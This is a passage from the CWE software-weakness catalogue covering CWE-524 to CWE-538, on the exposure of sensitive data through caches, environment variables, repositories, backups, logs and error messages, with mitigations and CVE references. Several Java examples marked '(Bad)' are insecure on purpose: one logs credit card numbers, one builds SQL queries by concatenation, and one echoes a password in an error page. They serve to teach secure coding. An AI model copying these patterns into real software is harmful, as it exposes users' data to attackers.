Potential Mitigations

Phase: Operation

Phase: System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2389
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2436
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2488
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

CWE-524: Use of Cache Containing Sensitive Information

Weakness ID : 524
Structure : Simple
Abstraction : Base

Description

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.

Extended Description

Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1469
ParentOf	V	525	Use of Web Browser Cache Containing Sensitive Information	1233

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2312

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	2403
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
204	Lifting Sensitive Data Embedded in Cache

CWE-525: Use of Web Browser Cache Containing Sensitive Information

Weakness ID : 525
Structure : Simple
Abstraction : Variant

Description

The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	524	Use of Cache Containing Sensitive Information	1232

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.*	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Phase: Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2335
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2335
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2403
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable

Weakness ID : 526
Structure : Simple
Abstraction : Variant

Description

The product uses an environment variable to store unencrypted sensitive information.

Extended Description

Information stored in an environment variable can be accessible by other processes with the execution context, including child processes that dependencies are executed in, or serverless functions in cloud environments. An environment variable's contents can also be inserted into messages, headers, log files, or other outputs. Often these other dependencies have no need to use the environment variable in question. A weakness that discloses environment variables could expose this information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	764
PeerOf	B	214	Invocation of Process Using Visible Sensitive Information	549

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.

Phase: Implementation

If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.

Observed Examples

Reference	Description
CVE-2022-43691	CMS shows sensitive server-side information from environment variables when run in Debug mode. *https://www.cve.org/CVERecord?id=CVE-2022-43691*
CVE-2022-27195	Plugin for an automation server inserts environment variable contents into build XML files. *https://www.cve.org/CVERecord?id=CVE-2022-27195*
CVE-2022-25264	CI/CD tool logs environment variables related to passwords add Contribution to content history. *https://www.cve.org/CVERecord?id=CVE-2022-25264*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

References

[REF-1318]David Fiser, Alfredo Oliveira. "Analyzing the Hidden Danger of Environment Variables for Keeping Secrets". 2022 August 7. < https://www.trendmicro.com/en_us/research/22/h/analyzing-hidden-danger-of-environment-variables-for-keeping-secrets.html >.2023-01-26.

[REF-1319]Nicolas Harraudeau. "Using environment variables is security-sensitive". 2021 April 8. < https://sonarsource.atlassian.net/browse/RSPEC-5304 >.2023-01-26.

CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

Weakness ID : 527
Structure : Simple
Abstraction : Variant

Description

The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Extended Description

Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1265

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	

Potential Mitigations

Phase: Operation

Phase: Distribution

Phase: System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

Weakness ID : 528
Structure : Simple
Abstraction : Variant

Description

The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1265

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: System Configuration

Protect the core dump files from unauthorized access.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2345
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2376
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID : 529
Structure : Simple
Abstraction : Variant

Description

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1265

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: System Configuration

Protect access control list files.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID : 530
Structure : Simple
Abstraction : Variant

Description

A backup file is stored in a directory or archive that is made accessible to unauthorized actors.

Extended Description

Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1265

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

CWE-531: Inclusion of Sensitive Information in Test Code

Weakness ID : 531
Structure : Simple
Abstraction : Variant

Description

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1251

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Distribution

Phase: Installation

Remove test code before deploying the application into production.

Demonstrative Examples

Example 1:

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-532: Insertion of Sensitive Information into Log File

Weakness ID : 532
Structure : Simple
Abstraction : Base

Description

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

Different log files may be produced and stored for:

- Server log files (e.g. server.log). This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
- log files that are used for debugging

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1248

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	504

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	2424

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Phase: Distribution

Remove debug log files before deploying the application into production.

Phase: Operation

Protect log files against unauthorized read/write.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Example Language: Java *(Bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Example 2:

This code stores location information about the current user:

Example Language: Java *(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
  AlertDialog.Builder builder = new AlertDialog.Builder(this);
  builder.setMessage("Sorry, this application has experienced an error.");
  AlertDialog alert = builder.create();
  alert.show();
  Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 3:

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

Example Language: Java *(Bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
  BankAccount userAccount = null;
  String query = null;
  try {
    if (isAuthorizedUser(username)) {
      query = "SELECT * FROM accounts WHERE owner = "
      + username + " AND accountID = " + accountNumber;
      DatabaseManager dbManager = new DatabaseManager();
      Connection conn = dbManager.getConnection();
      Statement stmt = conn.createStatement();
      ResultSet queryResult = stmt.executeQuery(query);
      userAccount = (BankAccount)queryResult.getObject(accountNumber);
    }
  } catch (SQLException ex) {
    String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
    Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
  }
  return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Observed Examples

Reference	Description
CVE-2017-9615	verbose logging stores admin credentials in a world-readable log file *https://www.cve.org/CVERecord?id=CVE-2017-9615*
CVE-2018-1999036	SSH password for private key stored in build log *https://www.cve.org/CVERecord?id=CVE-2018-1999036*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2368
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2450
MemberOf	C	1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	1344	2496
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO13-J		Do not log sensitive information outside a trust boundary
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
215	Fuzzing for application mapping

CWE-535: Exposure of Information Through Shell Error Message

Weakness ID : 535
Structure : Simple
Abstraction : Variant

Description

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	541

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

CWE-536: Servlet Runtime Error Message Containing Sensitive Information

Weakness ID : 536
Structure : Simple
Abstraction : Variant

Description

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	541

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.*	

Demonstrative Examples

Example 1:

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Example Language: Java *(Bad)*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  String username = request.getParameter("username");
  // May cause unchecked NullPointerException.
  if (username.length() < 10) {
    ...
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

CWE-537: Java Runtime Error Message Containing Sensitive Information

Weakness ID : 537
Structure : Simple
Abstraction : Variant

Description

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	541

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Do not expose sensitive error information to the user.

Demonstrative Examples

Example 1:

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

Example Language: Java *(Bad)*

```
public class InputFileRead {
  private File readFile = null;
  private FileReader reader = null;
  private String inputFilePath = null;
  private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
  public InputFileRead() {
    inputFilePath = DEFAULT_FILE_PATH;
  }
  public void setInputFile(String inputFile) {
    /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
  }
  public void readInputFile() {
    try {
      reader = new FileReader(readFile);
      ...
    } catch (RuntimeException rex) {
      System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
      System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
    } catch (FileNotFoundException ex) {...}
  }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2:

In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

Example Language: Java *(Bad)*

```
public class BankManagerLoginServlet extends HttpServlet {
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
  IOException {
    try {
      // Get username and password from login page request
      String username = request.getParameter("username");
      String password = request.getParameter("password");
      // Authenticate user
      BankManager bankMgr = new BankManager();
      boolean isAuthentic = bankMgr.authenticateUser(username, password);
      // If user is authenticated then go to successful login page
      if (isAuthentic) {
        request.setAttribute("login", new String("Login Successful."));
        getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);
      }
      else {
        // Otherwise, raise failed login exception and output unsuccessful login message to error page
        throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
      }
    } catch (FailedLoginException ex) {
      // output failed login message to error page
      request.setAttribute("error", new String("Login Error"));
      request.setAttribute("message", ex.getMessage());
      getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
    }
  }
```

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

Weakness ID : 538
Structure : Simple
Abstraction : Base

Description

The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	504
ParentOf	B	532	Insertion of Sensitive Information into Log File	1241
ParentOf	B	540	Inclusion of Sensitive Information in Source Code	1251
ParentOf	V	651	Exposure of WSDL File Containing Sensitive Information	1433

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

